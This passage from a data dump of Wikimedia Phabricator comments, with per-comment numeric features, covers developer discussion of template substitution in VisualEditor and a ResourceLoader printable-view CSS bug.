updates to the API."
482795,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406342, @Krenair wrote:
> Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?

Yes, subst directly on the client. In VE, as far as I understand, you cannot add transclusions that generate unbalanced HTML since you have to ask Parsoid for an expansion and you get balanced DOMs always.

So, as far as I can imagine, this subst feature in VE will have to be in-edit substitution of DOMs rather than on-save substitution of arbitrary wikitext.",,,1435360176,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,17.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,0.0,5.0,2.0,0.0,1.0,4.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,15.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,16.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,5.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8641975308641974,0.6790123456790124,"QUOTE
QUOTE

Yes, subst directly on the client. In VE, as far as I understand, you cannot add transclusions that generate unbalanced HTML since you have to ask Parsoid for an expansion and you get balanced DOMs always.

So, as far as I can imagine, this subst feature in VE will have to be in-edit substitution of DOMs rather than on-save substitution of arbitrary wikitext."
482794,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406342, @Krenair wrote:
> Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?

Yes, subst directly on the client. In VE, as far as I understand, you cannot add transclusions that generate unbalanced HTML since you have to ask Parsoid for an expansion and you get balanced DOMs always.

So, as far as I can imagine, this subst feature in VE, it will have to be in-edit substitution of DOMs rather than on-save substitution of arbitrary wikitext.",,,1435360150,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,11.0,17.0,0.0,2.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,2.0,1.0,0.0,5.0,2.0,1.0,1.0,4.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,16.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,7.0,17.0,5.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8072289156626504,0.6746987951807228,"QUOTE
QUOTE

Yes, subst directly on the client. In VE, as far as I understand, you cannot add transclusions that generate unbalanced HTML since you have to ask Parsoid for an expansion and you get balanced DOMs always.

So, as far as I can imagine, this subst feature in VE, it will have to be in-edit substitution of DOMs rather than on-save substitution of arbitrary wikitext."
482792,"Support ""substituting"" templates in transclusion dialog",Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?,,,1435359746,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,14.0,5.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,5.0476190476190474,0.9523809523809523,Substituting things directly on the client? That sounds like we'd run into more issues involving unbalanced html fragments?
482788,"Support ""substituting"" templates in transclusion dialog","But yes, you would have to substitute transclusions immediately, rather than ""on-save"" as with the wikitext PST mode of operation.",,,1435359430,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,4.0,22.0,4.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.111111111111111,0.9259259259259259,"But yes, you would have to substitute transclusions immediately, rather than ""on-save"" as with the wikitext PST mode of operation."
482786,"Support ""substituting"" templates in transclusion dialog",">>! In T51904#1406296, @Krenair wrote:
> I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)

But, whenever a user edits a transclusion, you are querying the API to fetch the expansion. So, you would enable the subst parameter alongwith the query instead of marking up individual transclusions for 'at-save' substitution. Once substed, the transclusion itself goes away and the editor can further tweak that output if required.",,,1435359220,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,12.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,0.0,1.0,0.0,3.0,0.0,0.0,3.0,1.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,9.0,4.0,3.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,3.0,0.0,4.0,0.0,1.0,3.0,1.0,3.0,0.0,0.0,0.0,4.402985074626866,0.7761194029850746,"QUOTE
QUOTE

But, whenever a user edits a transclusion, you are querying the API to fetch the expansion. So, you would enable the subst parameter alongwith the query instead of marking up individual transclusions for 'at-save' substitution. Once substed, the transclusion itself goes away and the editor can further tweak that output if required."
482780,"Support ""substituting"" templates in transclusion dialog","I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)",,,1435358724,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,103,,0.0,0.0,0.0,2.0,2.0,6.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,6.0,16.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,8.0,8.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,6.0,16.0,2.0,2.0,0.0,0.0,6.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.86,0.9,"I'm not sure the parsoid API from T73161 is quite what we were looking for. The idea had been to allow the user to mark a template to be substituted upon save, but with this we'd have to substitute an entire transclusion (immediately?)"
232499,"Support ""substituting"" templates in transclusion dialog","Change 153895 abandoned by Alex Monk:
Add a subst property to template data which adds ""subst:"" to the target

Reason:
I'm not actually planning to work on this commit. The associated VE commit will continue to depend on this however.

https://gerrit.wikimedia.org/r/153895",,,1412721735,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,66,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,17.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,2.0,13.0,9.0,0.0,4.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9622641509433962,0.7547169811320755,"Change 153895 abandoned by Alex Monk:
Add a subst property to template data which adds ""subst:"" to the target

Reason:
I'm not actually planning to work on this commit. The associated VE commit will continue to depend on this however.

GERRIT_URL"
232492,"Support ""substituting"" templates in transclusion dialog","Change 153934 had a related patch set uploaded by Alex Monk:
Provide a checkbox on template page of transclusion dialog to substitute when saving

https://gerrit.wikimedia.org/r/153934",,,1407964061,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,58,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,18.0,4.0,0.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,14.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,4.821428571428571,0.9642857142857143,"Change 153934 had a related patch set uploaded by Alex Monk:
Provide a checkbox on template page of transclusion dialog to substitute when saving

GERRIT_URL"
232487,"Support ""substituting"" templates in transclusion dialog","Change 153895 had a related patch set uploaded by Alex Monk:
Add a subst property to template data which adds ""subst:"" to the target

https://gerrit.wikimedia.org/r/153895",,,1407963687,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,58,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,16.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.935483870967742,0.8387096774193549,"Change 153895 had a related patch set uploaded by Alex Monk:
Add a subst property to template data which adds ""subst:"" to the target

GERRIT_URL"
232483,"Support ""substituting"" templates in transclusion dialog","Subst:ing isn't working (again?  still?).  

If you follow the (soon-to-be-blanked) directions in the user guide, you get the text typed in, with no display, no expansion, and no processing.  The result is that the exact wikitext of your template displays on the page, exactly as if it had been nowiki'd, but without the nowiki tags.

https://en.wikipedia.org/w/index.php?diff=620566012&oldid=618729009",,,1407626540,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,57,,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,2.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,6.0,13.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,1.0,0.0,4.0,0.0,0.0,2.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,5.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,13.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.380952380952381,0.7261904761904762,"Subst:ing isn't working (again?  still?).  

If you follow the (soon-to-be-blanked) directions in the user guide, you get the text typed in, with no display, no expansion, and no processing.  The result is that the exact wikitext of your template displays on the page, exactly as if it had been nowiki'd, but without the nowiki tags.

URL"
232479,"Support ""substituting"" templates in transclusion dialog","Not only in insert dialogue. Template text should be inserted and rerendered page immediately.
for example:
-[[:en:Template:Accent]]
-[[:ru:Шаблон:Ударение]]

i do
-te|xt
-insert/template - subst:Ударение

i see in VE
-te{{subst:Ударение}}xt
(after saving the page text in read mode looks normally: téxt)


I want to see in VE
-téxt

if possible it should be a new method ""template (with parameters) to text ()"" with no return to template
for example:
-""insert/subst"" or ""insert/template"" and in dialogue check-box for ""subst""
-open TemplateData for ""template"" (now for ""subst:template"" TemplateData not shown)
-press Add template
-template is executed and generate new text which is inserted same as ctrl+v
-the new text (or all page) rendered (may consist any other template inside it)",,,1406716486,,PHID-USER-5joeladhczukimiv4rwl,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,56,,1.0,0.0,0.0,1.5,1.0,3.5,0.5,0.0,0.0,0.5,3.0,0.0,0.5,0.5,0.0,1.5,0.0,3.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.5,0.5,0.0,0.0,3.0,2.0,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,2.0,7.0,0.5,2.5,3.5,0.0,0.0,0.0,0.0,3.5,0.0,1.0,0.0,2.5,10.0,8.0,0.0,6.0,0.0,2.5,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.5,3.675531914893617,0.5957446808510638,"Not only in insert dialogue. Template text should be inserted and rerendered page immediately.
for example:
-[[:en:Template:Accent]]
-[[:ru:Шаблон:Ударение]]

i do
-te|xt
-insert/template - subst:Ударение

i see in VE
-te{{subst:Ударение}}xt
(after saving the page text in read mode looks normally: téxt)


I want to see in VE
-téxt

if possible it should be a new method ""template (with parameters) to text ()"" with no return to template
for example:
-""insert/subst"" or ""insert/template"" and in dialogue check-box for ""subst""
-open TemplateData for ""template"" (now for ""subst:template"" TemplateData not shown)
-press Add template
-template is executed and generate new text which is inserted same as ctrl+v
-the new text (or all page) rendered (may consist any other template inside it)"
232474,"Support ""substituting"" templates in transclusion dialog",*** Bug 59182 has been marked as a duplicate of this bug. ***,,,1389931233,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 59182 has been marked as a duplicate of this bug. ***
232469,"Support ""substituting"" templates in transclusion dialog","(In reply to comment #4)
> (In reply to comment #3)
> > (In reply to comment #2)
> > > This is effectively a subset of bug 49833 which seems to be part tracking,
> > > part bugs, part enhancement requests
> > 
> > … part mess. :-(
> > 
> > Not sure why you turned it into a tracker after Krinkle mis-named it; I don't
> > think it helps at all. I might undo that.
> 
> Sorry, that would be my misunderstanding of Krinke's intentions and then
> trying to be helpful. :(

Not your fault at all. :-) All fixed now, anyway.",,,1378227406,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,9,,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,7.0,22.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9130434782608696,0.5,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Not your fault at all. :-) All fixed now, anyway."
232463,"Support ""substituting"" templates in transclusion dialog","(In reply to comment #3)
> (In reply to comment #2)
> > This is effectively a subset of bug 49833 which seems to be part tracking,
> > part bugs, part enhancement requests
> 
> … part mess. :-(
> 
> Not sure why you turned it into a tracker after Krinkle mis-named it; I don't
> think it helps at all. I might undo that.

Sorry, that would be my misunderstanding of Krinke's intentions and then trying to be helpful. :(",,,1377908456,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,25.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,2.0,9.0,20.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.4545454545454546,0.6363636363636364,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Sorry, that would be my misunderstanding of Krinke's intentions and then trying to be helpful. :("
232458,"Support ""substituting"" templates in transclusion dialog","(In reply to comment #2)
> This is effectively a subset of bug 49833 which seems to be part tracking,
> part bugs, part enhancement requests

… part mess. :-(

Not sure why you turned it into a tracker after Krinkle mis-named it; I don't think it helps at all. I might undo that.",,,1377899956,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,2.0,6.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,14.0,2.0,0.0,4.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,12.0,10.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.9591836734693877,0.8367346938775511,"(In reply to comment #2)
QUOTE
QUOTE

… part mess. :-(

Not sure why you turned it into a tracker after Krinkle mis-named it; I don't think it helps at all. I might undo that."
232448,"Support ""substituting"" templates in transclusion dialog","This is effectively a subset of bug 49833 which seems to be part tracking, part bugs, part enhancement requests",,,1377897429,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,38.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.8571428571428571,"This is effectively a subset of bug 49833 which seems to be part tracking, part bugs, part enhancement requests"
232440,"Support ""substituting"" templates in transclusion dialog",Lots of important templates need subst. On en {{prod}} and {{afd}} both need to be subst.,,,1377871154,,PHID-USER-7hrs7wwclcldf7mm6a7o,True,,,PHID-TASK-ztq7heekc4zpnp4mj6uf,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.8461538461538463,0.6538461538461539,Lots of important templates need subst. On en {{prod}} and {{afd}} both need to be subst.
51722,ResourceLoader does not process media queries for printable view with JS-added CSS,"It seems that the server part of this is already correct.  The client just needs to add printable=1 to requests for JS-wrapped CSS should include printable=1, when the page is in print mode (printabable=yes).

This is necessary to make sure that screen CSS is omitted and print CSS is not wrapped in @media print for this use case.

--------------------------
**Version**: 1.22.0
**Severity**: normal",Low,25.0,1371510780,1507244402.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-uou7qnzilekcbteofdw4,task_description,declined,True,c1,2,True,False,False,-2,,0.0,0.0,0.0,2.0,1.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,0.0,1.0,22.0,2.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,3.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,10.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9885057471264367,0.6781609195402298,"It seems that the server part of this is already correct.  The client just needs to add printable=1 to requests for JS-wrapped CSS should include printable=1, when the page is in print mode (printabable=yes).

This is necessary to make sure that screen CSS is omitted and print CSS is not wrapped inSCREEN_NAME print for this use case.

--------------------------
**Version**: 1.22.0
**Severity**: normal"
942898,ResourceLoader does not process media queries for printable view with JS-added CSS,"Given {T24256} was resolved, that means the printable mode is essentially no longer discoverable/advertised to users. I'm closing this task in favour of T167956.",,,1507244402,,PHID-USER-sai77mtxmpqnm6pycyvz,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,222,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,12.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,4.3125,0.96875,"Given {T24256} was resolved, that means the printable mode is essentially no longer discoverable/advertised to users. I'm closing this task in favour of T167956."
468076,ResourceLoader does not process media queries for printable view with JS-added CSS,"I think {T24256} is definitely better than simply dropping the link entirely (although we'd have to hide it for no-JS).  A feature is only useful if users know about it, and I think having the link exposes the fact that our pages look reasonably good when printed.",,,1433302393,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-uou7qnzilekcbteofdw4,task_subcomment,,True,c1,3,True,,,100,,0.0,0.0,2.0,0.0,0.0,5.0,3.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,7.0,0.0,10.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,9.0,7.0,2.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,12.0,3.0,0.0,0.0,0.0,10.0,0.0,2.0,2.0,0.0,3.0,2.0,0.0,0.0,3.7586206896551726,0.8620689655172413,"I think {T24256} is definitely better than simply dropping the link entirely (although we'd have to hide it for no-JS).  A feature is only useful if users know about it, and I think having the link exposes the fact that our pages look reasonably good when printed."
466703,ResourceLoader does not process media queries for printable view with JS-added CSS,"I do know that the ""printable"" link, in the past had surprising amount of traffic for other websites. As in: without it, people don't know how to print (yes, i know, i know...)

